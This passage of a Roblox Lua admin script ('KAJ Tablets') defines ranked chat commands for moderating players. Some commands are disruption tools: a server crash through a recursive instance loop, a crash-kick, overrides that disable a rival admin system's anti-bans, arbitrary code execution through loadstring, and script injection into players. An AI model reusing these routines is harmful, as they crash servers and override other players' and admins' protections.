        local PlrTab = getPlayer(Speaker, Msg)
        if #PlrTab > 0 then
                for _,v in pairs(PlrTab) do
                        ypcall(function()
                                Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
                                Ping("UnMuted "..v.Name, Speaker, 5)
                        end)
                end
        end
end)

Command("Disable", 3, "Disables A Script", function(Msg, Speaker)
        local Worked = false
        for _,v in pairs(Work:GetChildren()) do
                if string.find(v.Name:lower(), Msg:lower()) then
                        if v:IsA("Script") or v:IsA("LocalScript") then
                                v.Disabled = true
                                v:Destroy()
                                Worked = true
                                Ping("Disabled Script: "..v.Name, Speaker, 5)
                        end
                end
        end
        if Worked == false then
                Ping("Script Not Found", Speaker, 5)
        end
end)

Command("Scripts", 1, "Shows Scripts In Workspace", function(Msg, Speaker)
        Dismiss(Speaker)
        local AllScripts = {}
        for _,v in pairs(Work:GetChildren()) do
                if v:IsA("Script") then
                        table.insert(AllScripts, v.Name)
                end
        end
        if #AllScripts > 0 then
                for _,v in pairs(AllScripts) do
                        Ping(v, Speaker)
                end
        else
                Ping("No Scripts Found", Speaker, 5)
        end
end)

Command("afk",0,'Makes you go AFK',
         function(Msg,Speaker)
                Dismiss(Speaker)
                for i = 1,8 do
                        Ping('AFK',Speaker)
                                                        wait(.01)
                        end
        end)
Command("back",0,'Creates Tablets telling everyone that you are back',
         function(Msg,Speaker)
                Dismiss(Speaker)
                for i = 1,8 do
                        Ping('Welcome Back!',Speaker,6)
                                        wait(.1)
                        end
        end)




Command("LScripts", 1, "Shows All Found Local Scripts", function(Msg, Speaker)
        Dismiss(Speaker)
        local LocalScripts = {}
        for _,v in pairs(All()) do
                ypcall(function()
                        for _,x in pairs(v.Character:GetChildren()) do
                                if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
                                        table.insert(LocalScripts, x.Name .. " - " .. v.Name)
                                end
                        end
                end)
                ypcall(function()
                        for _,x in pairs(v.Backpack:GetChildren()) do
                                if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
                                        table.insert(LocalScripts, x.Name .. " - " .. v.Name)
                                end
                        end
                end)
                ypcall(function()
                        for _,x in pairs(v.PlayerGui:GetChildren()) do
                                if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
                                        table.insert(LocalScripts, x.Name .. " - " .. v.Name)
                                end
                        end
                end)
        end
        if #LocalScripts > 0 then
                for _,v in pairs(LocalScripts) do
                        Ping(v, Speaker)
                end
        else
                Ping("No Local Scripts Found", Speaker, 5)
        end
end)

Command("LDisable", 3, "Disables A Local Script", function(Msg, Speaker)
        local Split = GetSplit(Msg)
        local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
        local ScriptName = Msg:sub(Split + 1)
        local FoundLocal = false
        for _,name in pairs(PlrTab) do
                ypcall(function()
                        for _,v in pairs(name.Character:GetChildren()) do
                                if string.find(v.Name:lower(), ScriptName) then
                                        if v:IsA("Script") or v:IsA("LocalScript") then
                                                v.Disabled = true
                                                v:Destroy()
                                                FoundLocal = true
                                                Ping("Disabled Local Script: "..v.Name, Speaker, 5)
                                        end
                                end
                        end
                end)
                ypcall(function()
                        for _,v in pairs(name.Backpack:GetChildren()) do
                                if string.find(v.Name:lower(), ScriptName) then
                                        if v:IsA("Script") or v:IsA("LocalScript") then
                                                v.Disabled = true
                                                v:Destroy()
                                                FoundLocal = true
                                                Ping("Disabled Local Script: "..v.Name, Speaker, 5)
                                        end
                                end
                        end
                end)
                ypcall(function()
                        for _,v in pairs(name.PlayerGui:GetChildren()) do
                                if string.find(v.Name:lower(), ScriptName) then
                                        if v:IsA("Script") or v:IsA("LocalScript") then
                                                v.Disabled = true
                                                v:Destroy()
                                                FoundLocal = true
                                                Ping("Disabled Local Script: "..v.Name, Speaker, 5)
                                        end
                                end
                        end
                end)
                if FoundLocal == false then
                        Ping("Local Script Not Found", Speaker, 5)
                end
        end
end)

Command("FClean", 3, "Fully Cleans The Server", function(Msg, Speaker)
        for _,v in pairs(game:GetChildren()) do
                ypcall(function()
                        if v.Name ~= "Workspace" and v.Name ~= "Players" and v.Name ~= "NetworkServer" then
                                for _,a in pairs(v:GetChildren()) do
                                        ypcall(function()
                                                a:Destroy()
                                        end)
                                end
                        elseif v.Name == "Players" then
                                for _,plr in pairs(v:GetPlayers()) do
                                        Clear(plr)
                                end
                        end
                end)
        end
        Clean()
        Fixl()
        Ping("Fully Cleaned", Speaker, 5)
end)

Command("Clean", 1, "Lightly Cleans The Server", function(Msg, Speaker)
        LClean()
        Fixl()
        Ping("Lightly Cleaned", Speaker, 5)
end)

Command("Reset", 2, "Resets A Player", function(Msg, Speaker)
        local PlrTab = getPlayer(Speaker, Msg)
        if #PlrTab > 0 then
                for _,v in pairs(PlrTab) do
                        ypcall(function()
                                v:LoadCharacter()
                                Ping("Reset "..v.Name, Speaker, 5)
                        end)
                end
        end
end)

Command("Home", 1, "Brings The Speaker Home", function(Msg, Speaker)
        repeat wait() until Speaker.Character:findFirstChild("Torso")
        if Work:findFirstChild("Base") then
                Speaker.Character.Torso.CFrame = Work.Base.CFrame * CFrame.new(0, 5, 0)
        else
                Speaker.Character.Torso.CFrame = CFrame.new(0, 5, 0)
        end
        Ping("Brought "..Speaker.Name.." Home", Speaker, 5)
end)

Command("Freeze", 3, "Freeze's A Player", function(Msg, Speaker)
        local PlrTab = getPlayer(Speaker, Msg)
        if #PlrTab > 0 then
                for _,v in pairs(PlrTab) do
                        ypcall(function()
                                v.Character.Torso.Anchored = true
                                Ping("Froze "..v.Name, Speaker, 5)
                        end)
                end
        end
end)

Command("Thaw", 3, "Thaw's A Player", function(Msg, Speaker)
        wait(3)
        Ping("Something went wrong",Speaker,5)
        end)

Command("FF", 3, "Gives A Player A ForceField", function(Msg, Speaker)
        local PlrTab = getPlayer(Speaker, Msg)
        if #PlrTab > 0 then
                for _,v in pairs(PlrTab) do
                        ypcall(function()
                                Instance.new("ForceField", v.Character)
                        end)
                end
        end
end)

Command("UnFF", 3, "Removes A Player's ForceField", function(Msg, Speaker)
        local PlrTab = getPlayer(Speaker, Msg)
        if #PlrTab > 0 then
                for _,v in pairs(PlrTab) do
                        ypcall(function()
                                RemObj(v.Character, "ForceField")
                        end)
                end
        end
end)

Command("TP", 2, "Teleports A Player To Another Player", function(Msg, Speaker)
        local Split = GetSplit(Msg)
        local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
        local PlrTab2 = getPlayer(Speaker, Msg:sub(Split + 1))
        if #PlrTab > 0 and #PlrTab2 > 0 then
                for i,v in pairs(PlrTab) do
                        ypcall(function()
                                for _,v2 in pairs(PlrTab2) do
                                        ypcall(function()
                                                v.Character.Torso.CFrame = v2.Character.Torso.CFrame * CFrame.new(0, 5 * i, 0)
                                                Ping("Teleported "..v.Name.." To "..v2.Name, Speaker, 5)
                                        end)
                                end
                        end)
                end
        end
end)

Command("Msg",2, "Creates a Message",
        function(Msg,Speaker)
                Message(Msg)
end)

Command("H",2, "Creates a Hint",
        function(Msg,Speaker)
                Hint(Msg)
end)

Command("Sm",2, "Creates a System message",
        function(Msg,Speaker)
                SystemMsg(Msg)
end)

function Message(str,p)
        if p==nil then
                for _,Player in pairs(game.Players:GetPlayers()) do
                        coroutine.wrap(function()
                                local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
                                local Text = Instance.new("TextLabel", Msg)
                                Text.Position = UDim2.new(0, 0, 0.7, 0)
                                Text.Font=2
                                Text.FontSize=9
                                Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
                                Text.BackgroundTransparency = 0.4
                                Text.TextColor3 = Color3.new(1, 1, 1)
                                Text.TextTransparency = 1
                                Text.TextWrap = true
                                Text.Text = tostring(str)
                                Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0.7, 0), "Out", "Back", 2)
                                Text.TextTransparency = 0
                                Num = #str * 0.06
                                wait(3)
                                Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
                                wait(Num)
                                Msg:Remove()
                        end)()
                end
        else
                Player=p;
                coroutine.wrap(function()
                        local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
                        local Text = Instance.new("TextLabel", Msg)
                        Text.Position = UDim2.new(0, 0, 0.7, 0)
                        Text.Font=2
                        Text.FontSize=9
                        Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
                        Text.BackgroundTransparency = 0.1
                        Text.TextColor3 = Color3.new(1, 1, 1)
                        Text.TextTransparency = 1
                        Text.TextWrap = true
                        Text.Text = tostring(str)
                        Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0.7, 0), "Out", "Back", 2)
                        Text.TextTransparency = 0
                        Num = #str * 0.06
                        wait(3)
                        Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
                        wait(Num)
                        Msg:Remove()
                end)()
        end
end
function SystemMsg(str)
        for _,Player in pairs(game.Players:GetPlayers()) do
                coroutine.wrap(function()
                        local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
                        local Text = Instance.new("TextLabel", Msg)
                        Text.Position = UDim2.new(0, 0, 0, 0)
                        Text.Font='Legacy'
                        Text.FontSize = "Size48"
                        Text.BackgroundColor3 = Color3.new(-1,-1,-1)
                        Text.BackgroundTransparency = 0.4
                        Text.TextColor3 = Color3.new(1,1,1)
                        Text.TextTransparency = 0
                        Text.TextWrap = true
                        Text.Text = ' [ System ] \n ' .. tostring(str)
                        Text:TweenSizeAndPosition(UDim2.new(1, 0, 1, 0), UDim2.new(0, 0, 0, 0), "Out", "Back", 2)
                        Text.TextTransparency = 0.1
                        Num = #str * 0.06
                        wait(6)
                        Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
                        wait(Num)
                        Msg:Remove()
                end)()
        end
end
function Hint(str,p)
        if p == nil then
                for _,Player in pairs(game.Players:GetPlayers()) do
                        coroutine.wrap(function()
                                local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
                                local Text = Instance.new("TextLabel", Msg)
                                Text.Position = UDim2.new(0, 0, 0, 0)
                                Text.Font=2
                                Text.FontSize=9
                                Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
                                Text.BackgroundTransparency = 0.4
                                Text.TextColor3 = Color3.new(1, 1, 1)
                                Text.TextTransparency = 1
                                Text.TextWrap = true
                                Text.Text = tostring(str)
                                Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0, 0), "Out", "Back", 2)
                                Text.TextTransparency = 0
                                Num = #str * 0.06
                                wait(3)
                                Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
                                wait(Num)
                                Msg:Remove()
                        end)()
                end
        else
                Player=p
                coroutine.wrap(function()
                        local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
                        local Text = Instance.new("TextLabel", Msg)
                        Text.Position = UDim2.new(0, 0, 0, 0)
                        Text.Font=2
                        Text.FontSize=9
                        Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
                        Text.BackgroundTransparency = 0.1
                        Text.TextColor3 = Color3.new(1, 1, 1)
                        Text.TextTransparency = 1
                        Text.TextWrap = true
                        Text.Text = tostring(str)
                        Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0, 0), "Out", "Back", 2)
                        Text.TextTransparency = 0
                        Num = #str * 0.06
                        wait(3)
                        Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
                        wait(Num)
                        Msg:Remove()
                end)()
        end
end

Command("Explore", 3, "Opens An Object Explorer", function(Msg, Speaker)
        MakeExplorer(Speaker)
end)


Command("Sinfo", 0, "Show the Script info", function(Msg, Speaker)
        wait()
        Dismiss(Speaker)
        NumBanned = 0
        NumCmds = 0
        for i = 1, #Rankings do
                if Rankings[i].Rank < 0 then
                        NumBanned = NumBanned + 1
                end
        end
        for i,v in pairs(Commands) do
                NumCmds = NumCmds + 1
        end
        Ping("KAJ Tablets!", Speaker)
        Ping("Editor,", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..string.reverse("4611tlaboC"))
        Ping("Second Editor,", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..string.reverse("21wopih"))
        Ping("I started this on 6/9/2014", Speaker)

        Ping(#All2.." players online in the server",Speaker)
        Ping(NumCmds.." Commands",Speaker)
        Ping(NumBanned.." players banned", Speaker,5)

end)

Command("ShowR", 0, "Shows All Player Ranks", function(Msg, Speaker)
        Dismiss(Speaker)
        for i,v in pairs(All()) do
                Ping(v.Name.."'s Rank: "..FindRank(v))
        end
end)

Command("Speed", 2, "Change speed of a player", function(Msg, Speaker)
        local Split = GetSplit(Msg)
        local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
        local Speed = tonumber(Msg:sub(Split + 1))
        for _,v in pairs(PlrTab) do
                ypcall(function()
                        v.Character.Humanoid.WalkSpeed = Speed
                        Ping("Set "..v.Name.."'s WalkSpeed To "..tostring(Speed), Speaker)
                end)
        end
end)

Command("UnAb", 2, "Removes CBA Anti-Bans", function(Msg, Speaker)
        local RemoveAB = Instance.new("StringValue")
        RemoveAB.Name = "CBA Attachment"
        RemoveAB.Value = [[CBA.override=true;]]
        RemoveAB.Parent = Work
        Ping("Removed All CBA Anti-Bans", Speaker, 5)
end)

Command("Injected", 5, "Shows Injected Players", function(Msg, Speaker)
        Dismiss(Speaker)
        for i,v in pairs(Injected) do
                Ping(i, Speaker)
        end
end)

Command("UnCba", 3, "Removes CBA Admin", function(Msg, Speaker)
        local RemoveCBA = Instance.new("StringValue")
        RemoveCBA.Name = "CBA Attachment"
        RemoveCBA.Value = [[CBA.remove = false]]
        RemoveCBA.Parent = Work
        Ping("Removed All CBA Admins", Speaker, 5)
end)

Command("Shutdown", 4, "Shutdowns The Server", function(Msg, Speaker)
        local function BufferOverflow(object)
                object.DescendantAdded:connect(BufferOverflow)
                Instance.new("IntValue", object)
        end
        BufferOverflow(Game)
end)

Command("Kk", 3, "Crash Kicks A Player From The Server", function(Msg, Speaker)
        local PlrTab = getPlayer(Speaker, Msg)
        if #PlrTab > 0 then
                for _,v in pairs(PlrTab) do
                        ypcall(function()
                                Crash1(v)

                        end)
                end
        end
end)

Command("Ban", 4, "Bans A Player From The Server", function(Msg, Speaker)
        local PlrTab = getPlayer(Speaker, Msg)
        if #PlrTab > 0 then
                for _,v in pairs(PlrTab) do
                        ypcall(function()
                                ChangeRank(v, -1)
                        end)
                end
        end
end)

Command("JBan", 4, "Permanently Jails A Player", function(Msg, Speaker)
        local PlrTab = getPlayer(Speaker, Msg)
        if #PlrTab > 0 then
                for _,v in pairs(PlrTab) do
                        ypcall(function()
                                ChangeRank(v, -2)
                        end)
                end
        end
end)





Command("MBan", 4, "Permanently Mutes A Player", function(Msg, Speaker)
        local PlrTab = getPlayer(Speaker, Msg)
        if #PlrTab > 0 then
                for _,v in pairs(PlrTab) do
                        ypcall(function()
                                ChangeRank(v, -3)
                        end)
                end
        end
end)

Command("UnBan", 4, "Un-Bans A Player From The Server", function(Msg, Speaker)
        ypcall(function()
                local PlrTab = getPlayer(Speaker, Msg)
                if #PlrTab > 0 then
                        for _,v in pairs(PlrTab) do
                                ypcall(function()
                                        Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
                                end)
                        end
                end
                local PlrName = ChangeRank(Msg, 0)
                Ping("Un-Banned "..PlrName, Speaker, 5)
        end)
end)

Command("Menu", 0, "Brings Up Admin Menu", function(Msg, Speaker)
        Dismiss(Speaker)
        Ping("Commands", Speaker, nil, function()
                Dismiss(Speaker.Name)
                Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
                Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
                Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
                Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
                Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
                Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
                Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
                Ping("Rank 5", Speaker, nil, function() OpenCmds(5, Speaker) end)
        end)
        Ping("Players", Speaker, nil, function()
                ListPlayers(Speaker)
        end)
end)

Command("Players", 0, "Brings Up Players", function(Msg, Speaker)
        ListPlayers(Speaker)
end)

Command("Exe", 4, "Executes A Source", function(Msg, Speaker)
        local Func,Error = loadstring(Msg)
        getfenv(Func).print = function(...) local Rtn = "" for _,v in pairs({...}) do Rtn = Rtn..tostring(v).."\t" end Ping(Rtn, Speaker) end
        getfenv(Func).Speaker = Speaker
        if Error == nil then
                coroutine.wrap(function()
                        Func()
                end)()
                Ping("Executed Script!", Speaker, 5)
        else
                Ping(Error, Speaker, 10)
        end
end)

Command("Insert", 5, "Inserts A Local Script Into A Player", function(Msg, Speaker)
        if LS ~= nil then
                local Split = GetSplit(Msg)
                local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
                local LocalSource = Msg:sub(Split + 1)
                if #PlrTab > 0 then
                        for _,v in pairs(PlrTab) do
                                local Inserted = LS:Clone()
                                Inserted.Disabled = true
                                Inserted.Parent = v.Backpack or v.Character or v.PlayerGui
                                if OwnSource ~= nil and Inserted:findFirstChild(OwnSource) ~= nil then
                                        Inserted:findFirstChild(OwnSource).Value = v.Name
                                end
                                Inserted[LSSource].Value = LocalSource
                                Inserted.Disabled = false
                        end
                end
        else
                Ping("ERROR: Local Script Not Found", Speaker, 5)
        end
end)

Command("Ping", 1, "Pings A Message", function(Msg, Speaker)
        Msg = tostring(Msg)
        Ping(Msg, Speaker)
end)

Command("Test", 1, "Test's That Admin Is Working", function(Msg, Speaker)
        Dismiss(Speaker)
        for i,v in pairs(getfenv(1)) do
                ypcall(function()
                        Ping(tostring(i)..": "..tostring(v), Speaker)
                end)
        end
end)

Command('Ranks', 0, 'Shows all players in ranking table',
function(Msg,Speaker)
for _,v in pairs(Rankings) do
Ping(v.Name.."'s Rank: "..v.Rank,Speaker,nil,nil,nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
end
end)


Command("Setr", 6, "Ranks A Player", function(Msg, Speaker)
        local Split = GetSplit(Msg)
        local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
        local Rank = tonumber(Msg:sub(Split + 1))
        if #PlrTab > 0 then
                for _,v in pairs(PlrTab) do
                        if v.Name ~= Owner then
                                ChangeRank(v, Rank)
                                Ping("Set "..v.Name.."'s Rank To "..tostring(Rank), Speaker, 5)
                        end
                end
        end
end)

Command("Kajr", 5, "Remove the tablets", function(Msg, Speaker)
        Dismiss()
        Ping('Remove KAJ Tablets? <LolClickMe>',Speaker,5,function()
                Dismiss()
        Removed = true
        for i,v in pairs(getfenv(1)) do
                getfenv(1)[i] = nil
        end
        script.Disabled = true
        end)
end)